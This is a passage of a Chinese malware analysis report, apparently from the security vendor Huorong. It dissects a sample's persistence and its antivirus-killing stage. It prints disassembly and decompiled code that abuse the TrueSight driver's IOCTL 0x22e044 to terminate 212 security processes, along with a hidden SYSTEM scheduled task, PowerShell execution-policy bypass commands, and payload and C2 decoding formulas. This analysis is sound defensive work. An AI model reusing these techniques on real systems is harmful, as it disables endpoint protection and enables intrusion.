图3-2%20TrueSight驱动DriverEntry创建设备与符号链接
驱动加载后暴露内核设备\Device\TrueSight（用户态路径%20\\.\TrueSight）。VDI用户态客户端打开该设备并提交IOCTL%200x22e044，即可借助驱动的内核权限终止任意进程——这条链路的完整分析见第4章。
3.3
持久化与子进程启动
Stage-3在释放组件的同时，建立了三种持久化与执行机制（详见表3-1），以确保在原始进程退出后或者系统重启，载荷仍能由系统调度重新触发。
|
|
|
| 机制 |
目标 |
静态材料 |
| 注册表写入 |
HKLM\SOFTWARE\JDBCC\data |
RegCreateKeyExW%20/%20RegSetValueExW（REG\_SZ） |
| 计划任务 |
\Microsoft\Windows\AppID\MicrosoftEdgeUpdateTaskUA%20Task-S-1-5-18 |
\PolicyManagement.xml%20模板%20+%20Register-ScheduledTask%20脚本 |
| 子进程启动 |
PowerShell |
Set-ExecutionPolicy%20Unrestricted%20与%20-ExecutionPolicy%20Bypass%20-File |
注册表层面，Stage-3向HKLM\SOFTWARE\JDBCC的data项写入运行时构造的字符串，作为病毒重新触发的数据来源。计划任务模板内嵌于%20Stage-3%20DLL，任务名伪装为MicrosoftEdgeUpdateTaskUA%20Task-S-1-5-18（SID%20S-1-5-18对应SYSTEM账户），任务路径固定为%20\Microsoft\Windows\AppID\。模板XML指定%20HighestAvailable、true%20与%20PT1M，即以最高权限运行、在任务计划程序界面中隐藏、每分钟重复触发。Stage-3通过CreateProcessW调用Register-ScheduledTask%20-TaskPath%20$taskPath%20-Xml%20$xmlContent%20-TaskName%20$taskName%20-Force完成注册。PowerShell一侧内嵌两条命令，代码清单4%20给出CreateProcessW启动器与命令字符串。
//%20程序:%20stage3_synccreate_dll.dll（基址%200x180000000）
//%20函数:%20FUN_180023dc0%20@%200x180023dc0
//%20作用:%20调用%20CreateProcessW%20两次启动%20PowerShell%20子进程，分别设置执行策略和运行脚本
//%20说明:%20第一处%20WaitForSingleObject(...,%20INFINITE)；第二处%20WaitForSingleObject(...,%2015000)，超时%20//%20TerminateProcess
void%20FUN_180023dc0(void)
{
%20 %20//%20内嵌命令%201（UTF-16LE%20@%200x7A350）：
%20 %20//%20powershell%20-Command%20\"Set-ExecutionPolicy%20Unrestricted%20-Scope%20CurrentUser\"
%20 %20CreateProcessW(NULL,%20cmd1,%20NULL,%20NULL,%20FALSE,%200,%20NULL,%20NULL,%20&si,%20&pi);
%20 %20WaitForSingleObject(pi.hProcess,%20INFINITE);%20 %20 %20 //%20等待执行策略变更完成
%20 %20//%20内嵌命令%202（UTF-16LE%20@%200x7A3F0）：
%20 %20//%20powershell%20-ExecutionPolicy%20Bypass%20-File%20\"\\updated.ps1\"
%20 %20CreateProcessW(NULL,%20cmd2,%20NULL,%20NULL,%20FALSE,%200,%20NULL,%20NULL,%20&si,%20&pi2);
%20 %20WaitForSingleObject(pi2.hProcess,%2015000);%20 %20 %20 %20 //%2015%20秒超时
%20 %20if%20(timeout)%20TerminateProcess(pi2.hProcess,%200);
}
代码清单4 Stage-3%20PowerShell子进程启动器
第一条命令将当前用户的PowerShell执行策略放宽为Unrestricted；第二条以-ExecutionPolicy%20Bypass运行Stage-3在运行时生成并写入磁盘的%20updated.ps1（脚本内容非静态嵌入）。三种机制相互独立，共同构成不依赖原始加载链的重新触发路径：即使父进程退出，计划任务仍每分钟以%20SYSTEM权限拉起载荷，放宽后的执行策略保证后续脚本无需签名即可运行。
04
总览第三阶段：VDI解码与内核态进程终止
第三阶段是样本针对系统防护措施进行破坏的环节：VDI模块解码后枚举进程、比对212个安全软件映像名，命中的进程交给TrueSight驱动在内核态终止。
4.1
VDI外层解码
vdi\_ipc.dat是一个三层嵌套容器，解码步骤如下：
-
载体层：文件前部是合法的PNG图片（以IEND正常结尾），可直接通过图片查看器打开，降低静态检测命中。
-
加密层：IEND之后、偏移0x213d处为加密流，按逐字节规则plain[i]%20=%20cipher[i]%20^%20((i%20+%200xA3)%20&%200xFF)解密。
载荷层：解密结果偏移0x3处即合法PE（ImageBase%200x180000000）；其%20.AzA段再经LZMA1解压，得到212个目标进程名列表与执行代码。
4.2
TrueSight%20IOCTL调用
VDI%20PE终止进程的入口是打开%20\\.\TrueSight%20设备并发送IOCTL%200x22e044，输入仅为4字节PID。代码清单5给出关键指令序列：先用%20CreateFileW以读写权限打开设备，随后在两处DeviceIoControl调用点提交栈上的PID缓冲。
//%20程序:%20vdi_ipc.dat%20解密后的%20VDI%20PE
//%20函数:%20TrueSight_KillProcessByPid_22e044%20调用链
//%20作用:%20打开%20TrueSight%20设备，将匹配%20PID%20作为%204%20字节输入发送%20IOCTL%200x22e044
//%20说明:%20两个%20DeviceIoControl%20调用点均使用%20edx=0x22e044；输入缓冲区%20[rsp+0x7c]
0x18002fff9%20 mov%20 ebp,%20edx%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20PID%20入参
0x18003000b%20 lea%20 rcx,%20[rip%20+%200x2fed6]%20 %20 %20 %20 %20;%20L\"\\\\.\\TrueSight\"
0x180030020%20 mov%20 dword%20ptr%20[rsp%20+%200x20],%203%20 %20 ;%20OPEN_EXISTING
0x180030028%20 mov%20 edx,%200xc0000000%20 %20 %20 %20 %20 %20 %20 ;%20GENERIC_READ%20|%20GENERIC_WRITE
0x180030033%20 call%20qword%20ptr%20[rip%20+%200x2607f]%20 %20 ;%20CreateFileW
0x18003003c%20 mov%20 qword%20ptr%20[rsp%20+%200x70],%20rax%20 ;%20hTrueSight
0x1800302ea%20 mov%20 dword%20ptr%20[rsp%20+%200x7c],%20ebp%20 ;%204%20字节%20PID%20缓冲
;%20调用点%201
0x1800307ce%20 mov%20 rcx,%20qword%20ptr%20[rsp%20+%200x70]%20 ;%20hTrueSight
0x1800307e1%20 lea%20 r8,%20[rsp%20+%200x7c]%20 %20 %20 %20 %20 %20 %20;%20&pid
0x1800307eb%20 mov%20 r9d,%204%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20输入长度
0x180030801%20 mov%20 edx,%200x22e044%20 %20 %20 %20 %20 %20 %20 %20 ;%20terminate-process%20IOCTL
0x18003080b%20 call%20qword%20ptr%20[rip%20+%200x2589f]%20 %20 ;%20DeviceIoControl
;%20调用点%202
0x180030bb2%20 mov%20 r14,%20qword%20ptr%20[rsp%20+%200x70]%20 ;%20hTrueSight
0x180030bc9%20 lea%20 r8,%20[rsp%20+%200x7c]%20 %20 %20 %20 %20 %20 %20;%20&pid
0x180030bde%20 mov%20 r9d,%204%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20输入长度
0x180030be9%20 mov%20 edx,%200x22e044%20 %20 %20 %20 %20 %20 %20 %20 ;%20terminate-process%20IOCTL
0x180030bee%20 mov%20 rcx,%20r14%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20hTrueSight
0x180030bf1%20 call%20qword%20ptr%20[rip%20+%200x254b9]%20 %20 ;%20DeviceIoControl
4.3
进程枚举与目标匹配
VDI%20PE通过工具帮助库遍历进程快照，PROCESSENTRY32结构大小为0x130，以外层循环枚举进程，内层循环对212个安全软件映像名执行大小写不敏感比对；命中后取出%20th32ProcessID%20传入4.2节的终止例程。目标列表覆盖Microsoft%20Defender、360、卡巴斯基、Avast等国内外主流产品。代码清单6给出关键路径。
//%20程序:%20vdi_ipc.dat%20解密后的%20VDI%20PE
//%20函数:%20进程枚举与目标匹配%20@%200x180015311..0x1800159d9
//%20作用:%20外层遍历进程快照，内层遍历%20212%20个安全软件目标名，命中后调用%200x22e044%20终止进程
//%20说明:%20函数经控制流平坦化与常量提取混淆；listing%20保留控制流与关键数据指令，SSE/整数运算块以注释概括
0x180015311%20 mov%20 dword%20ptr%20[rbp%20+%200x650],%200x130%20 ;%20PROCESSENTRY32.dwSize
0x18001531e%20 call%20qword%20ptr%20[rip%20+%200x40df4]%20 %20 %20 %20;%20Process32FirstW
;%20混淆块%20A：外层索引计算
0x18001544a%20 je%20 %200x1800159de%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20跳过本次进程
0x180015580%20 lea%20 r14,%20[rbp%20-%200x70]%20 %20 %20 %20 %20 %20 %20 %20;%20目标进程名指针表
;%20混淆块%20B：内层边界计算
0x180015573%20 jge%20 0x1800159c3%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20边界失败则下一进程
target_loop:
;%20混淆块%20C：目标索引计算
0x1800155b3%20 mov%20 rdx,%20qword%20ptr%20[r14]%20 %20 %20 %20 %20 %20 ;%20当前目标进程名
0x1800155b6%20 lea%20 rcx,%20[rbp%20+%200x67c]%20 %20 %20 %20 %20 %20 %20 ;%20PROCESSENTRY32.szExeFile
0x1800155bd%20 call%200x1800486ec%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20case-folded%20比较，0%20命中
;%20混淆块%20D：命中标志偏置
0x1800156e7%20 mov%20 eax,%20dword%20ptr%20[rbp%20+%200x658]%20 %20 ;%20th32ProcessID
0x1800156ed%20 mov%20 dword%20ptr%20[rsp%20+%200x38],%20eax%20 %20 %20;%20PID%20暂存
;%20混淆块%20E：PID%20参数传递
0x18001597e%20 mov%20 edx,%20dword%20ptr%20[rsp%20+%200x38]%20 %20 %20;%20arg2%20=%20PID
0x180015982%20 mov%20 rcx,%20qword%20ptr%20[r14]
0x180015985%20 call%200x18002ffd0%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20TrueSight_KillProcessByPid_22e044
next_target:
0x18001598e%20 inc%20 esi%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20索引%20+1
0x180015990%20 add%20 r14,%208%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 ;%20下一目标指针
0x180015994%20 cmp%20 esi,%200xd4%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20212%20个目标名
0x18001599a%20 jl%20 %20target_loop%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20;%20内层遍历全部目标
;%20外层循环经%20Process32NextW%20继续枚举下一进程
4.4
驱动终止逻辑
图4-1标出VDI%20PE中两处DeviceIoControl(...,%200x22e044,%20...)%20的调用位置。
图4-1%20恢复后的VDI中%200x22e044调用点
驱动侧分发例程IoctlTerminateProcessByPid（0x118ec）逻辑清晰：校验输入长度不小于4字节→从METHOD\_BUFFERED的SystemBuffer读取PID→以PROCESS\_TERMINATE权限调用ZwOpenProcess→通过ZwTerminateProcess完成终止操作。完整反编译结果见代码清单7。
//%20程序:%20viusctrivial_reconstructed.sys
//%20函数:%20IoctlTerminateProcessByPid%20@%200x118ec
//%20作用:%20校验输入长度后按%20PID%20终止目标进程
//%20说明:%20从%20METHOD_BUFFERED%20SystemBuffer%20取%204%20字节%20PID；ZwOpenProcess%20的%20DesiredAccess=1%20即%20PROCESS_TERMINATE
NTSTATUS%20IoctlTerminateProcessByPid(PIRP%20Irp)
{
%20 %20PIO_STACK_LOCATION%20stack%20=%20IoGetCurrentIrpStackLocation(Irp);%20 %20//%20IRP%20stack
%20 %20ULONG%20inLen%20 =%20stack->Parameters.DeviceIoControl.InputBufferLength;
%20 %20PVOID%20sysBuf%20=%20Irp->AssociatedIrp.SystemBuffer;%20 %20 %20 %20 %20 %20 %20 %20 %20//%20METHOD_BUFFERED%20buffer
%20 %20HANDLE%20hProcess%20=%20NULL;
%20 %20NTSTATUS%20status;
%20 %20if%20(inLen%20<%204)%20{%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20//%200x118f9:%20长度必须%20>=%204
%20 %20 %20 %20Irp->IoStatus.Information%20=%204;
%20 %20 %20 %20return%20STATUS_INVALID_BUFFER_SIZE;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 //%200x80000005
%20 %20}
%20 %20ULONG%20pid%20=%20*(ULONG%20*)sysBuf;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20//%200x1190f:%20读取目标%20PID
%20 %20OBJECT_ATTRIBUTES%20objAttr;
%20 %20CLIENT_ID%20clientId;
%20 %20InitializeObjectAttributes(&objAttr,%20NULL,%200,%20NULL,%20NULL);%20 %20 %20 //%20空%20ObjectAttributes
%20 %20clientId.UniqueProcess%20=%20(HANDLE)(ULONG_PTR)pid;%20 %20 %20 %20 %20 %20 %20 %20 //%200x11934:%20CLIENT_ID.UniqueProcess%20=%20PID
%20 %20clientId.UniqueThread%20 =%200;%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20//%20UniqueThread=0
%20 %20status%20=%20ZwOpenProcess(&hProcess,%201,%20&objAttr,%20&clientId);%20 %20 %20//%200x11961:%20access%20=%20PROCESS_TERMINATE
%20 %20if%20(NT_SUCCESS(status))%20{
%20 %20 %20 %20status%20=%20ZwTerminateProcess(hProcess,%200);%20 %20 %20 %20 %20 %20 %20 %20 %20 %20//%200x11977:%20终止目标进程
%20 %20 %20 %20ZwClose(hProcess);
%20 %20}
%20 %20Irp->IoStatus.Status%20=%20status;
%20 %20IoCompleteRequest(Irp,%20IO_NO_INCREMENT);
%20 %20return%20status;
}
下载器从OSS拉取fs.jpg、f.dat与FOM-50.jpg至FOM-53.jpg共四个缓存文件，经解码后安装至随机目录C:\Program Files (x86)\\，完整流程见图5-1，下载事件序列见图5-2。
传输协议采用简单加密机制，客户端通过公式((byte ^ 0xfc) + 0x31) & 0xff完成编码，接收端则通过公式((byte - 0x31) ^ 0xfc) & 0xff完成逆向解码，以此实现通信数据的加密与解密过程。完整参数详见附录B。固定帧将连接状态、命令门控与数据回传整合为同一结构，其中dispatch\_flag作为进入命令分发的唯一判定入口。
连接控制端后，thumbs!Edge首先发送0xc8信标包以完成上线注册，随后持续发送心跳包以维持会话连接，等待控制端下发命令。信标负载约为0x258字节，所采集的宿主机信息包括：会话标识、本地端点、操作系统版本及构建号、计算机名与用户名、用户空闲状态（通过GetLastInputInfo获取）、物理内存容量以及RDP端口。控制器在接收到信标后，通过固定帧下发命令。当帧头字段dispatch\_flag为1时，进入命令回调；命令ID将指令路由至对应的具体处理分支。
火绒安全成立于2011年，是一家专注、纯粹的安全公司，致力于在终端安全领域为用户提供专业的产品和专注的服务，并持续对外赋能反病毒引擎等相关自主研发技术。多年来，火绒安全产品凭借“专业、干净、轻巧”的特点收获了广大用户的良好口碑。火绒企业版产品更是针对企业内外网脆弱的环节，拓展了企业对于终端管理的范围和方式，提升了产品的兼容性、易用性，最终实现更直观的将威胁可视化、让管理轻便化，充分达到保护企业信息安全的目的。
评论